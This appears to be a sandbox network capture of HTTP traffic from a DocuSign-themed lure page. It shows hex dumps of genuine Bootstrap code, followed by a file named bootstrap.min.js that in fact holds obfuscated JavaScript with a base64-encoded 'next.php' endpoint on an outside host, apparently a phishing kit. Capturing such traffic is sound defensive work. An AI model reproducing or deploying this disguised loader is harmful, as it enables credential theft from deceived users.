2025-01-14 16:25:34 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	51408	43.135.205.15	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:34 UTC	666	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 2043758164-1323985617.cos.sa-saopaulo.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:34 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553316 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 14 Jan 2025 16:25:34 GMT ETag: "2c1eee3794f01eb2649d9cb190809f18" Last-Modified: Mon, 13 Jan 2025 07:09:42 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 12230048738106234686 x-cos-request-id: Njc4NjhmZmVfOGI1NzU5MGJfZDViZF9mMjMxZmI4
2025-01-14 16:25:34 UTC	15958	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 79 4d 44 51 7a 4e 7a 55 34 4d 54 59 30 4c 6d 4e 73 62 33 56 6b 61 47 39 7a 64 47 4a 31 61 57 78 6b 5a 58 49 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 Data Ascii: var file = "aHR0cHM6Ly8yMDQzNzU4MTY0LmNsb3VkaG9zdGJ1aWxkZXIuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':foc
2025-01-14 16:25:35 UTC	8188	IN	Data Raw: 73 74 2d 63 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 70 2d 69 74 65 6d 2d 70 72 27 2c 27 74 65 64 5c 78 32 30 2e 63 75 73 74 6f 27 2c 27 6e 65 5c 78 32 30 2e 69 6e 70 75 74 2d 27 2c 27 69 6e 6b 4d 61 63 53 79 73 74 27 2c 27 73 70 61 6e 3e 57 65 5c 78 32 30 Data Ascii: st-ch','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','up-item-pr','ted\x20.custo','ne\x20.input-','inkMacSyst','span>We\x20
2025-01-14 16:25:35 UTC	16384	IN	Data Raw: 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 7b 5c 78 32 30 62 6f Data Ascii: lu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20{\x20bo
2025-01-14 16:25:35 UTC	16384	IN	Data Raw: 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 32 30 27 2c 27 65 6c 70 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6c 6f 73 65 3a 27 2c 27 3b 5c 78 32 30 74 65 78 74 2d 73 68 61 27 2c 27 23 65 39 65 63 65 66 3b 5c 78 32 30 6f 27 Data Ascii: ,'}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\x20','elp;\x20borde','\x20}\x20.close:',';\x20text-sha','#e9ecef;\x20o'
2025-01-14 16:25:35 UTC	8152	IN	Data Raw: 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b 5c 78 32 30 77 68 69 27 2c 27 6f 72 65 2c 5c 78 32 30 2e 62 73 2d 74 27 2c 27 74 68 3a 5c 78 32 30 39 31 2e 36 36 36 27 2c 27 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 27 2c 27 2d 6c 65 66 74 3a 5c 78 32 30 33 Data Ascii: [type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;\x20whi','ore,\x20.bs-t','th:\x2091.666','\x22display:\x20','-left:\x203
2025-01-14 16:25:35 UTC	16368	IN	Data Raw: 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 2d 63 6f 6c 6f 72 3a Data Ascii: x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und-color:
2025-01-14 16:25:35 UTC	16368	IN	Data Raw: 27 76 65 72 74 69 63 61 6c 5c 78 32 30 21 27 2c 27 6e 76 61 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 6f 27 2c 27 65 78 2d 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 65 2c 5c 78 32 30 2e 73 68 6f 77 3e 2e 27 2c 27 72 3a 5c 78 32 30 23 45 35 45 35 45 35 27 2c 27 5c 78 32 30 2e 66 69 67 75 72 65 5c 78 32 30 7b 27 2c 27 49 5c 78 32 30 57 65 62 5c 78 32 30 28 57 65 73 27 2c 27 69 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 27 2c 27 67 68 74 2e 6c 69 73 74 2d 67 27 2c 27 72 65 6d 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 30 27 2c 27 65 6e 74 65 72 3b 5c 78 32 30 2d 77 65 27 2c 27 6f 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 65 52 66 74 51 57 76 6a 57 33 27 2c 27 7d 5c 78 32 30 7d 5c 78 Data Ascii: 'vertical\x20!','nvalid,\x20.w','\x20{\x20backgro','ex-order:\x20','e,\x20.show>.','r:\x20#E5E5E5','\x20.figure\x20{','I\x20Web\x20(Wes','img\x22></div','ght.list-g','rem;\x20borde','ne-block;\x20','enter;\x20-we','o\x20}\x20.navba','eRftQWvjW3','}\x20}\x
2025-01-14 16:25:35 UTC	16384	IN	Data Raw: 65 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 27 2c 27 72 3a 5c 78 32 30 35 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 6c 65 3a 66 6f 63 75 73 5c 78 32 30 7b 27 2c 27 6d 2d 38 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 27 2c 27 2e 63 61 72 64 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 5c 78 32 30 23 62 64 32 31 33 30 5c 78 32 30 7d 27 2c 27 6a 66 54 6e 67 27 2c 27 78 6c 2d 31 30 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 63 6f 6e 64 61 72 79 3a 6e 6f 27 2c 27 2d 61 6c 69 67 6e 3a 5c 78 32 30 63 65 27 2c 27 72 64 65 72 3a 5c 78 32 30 34 3b 5c 78 32 30 6f 27 2c 27 2b 49 67 78 38 50 2b 49 4c 47 27 2c 27 55 58 65 41 59 27 2c 27 3b 5c 78 32 30 62 61 63 6b 67 72 6f 75 27 2c 27 2d 33 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 69 27 2c 27 2d 66 69 6c 65 3a 6e 6f 74 28 27 2c Data Ascii: e\x20{\x20back','r:\x205\x20}\x20.or','le:focus\x20{','m-8\x20{\x20-web','.card\x20{\x20-w','\x20#bd2130\x20}','jfTng','xl-10\x20{\x20-w','condary:no','-align:\x20ce','rder:\x204;\x20o','+Igx8P+ILG','UXeAY',';\x20backgrou','-3\x20{\x20paddi','-file:not(',
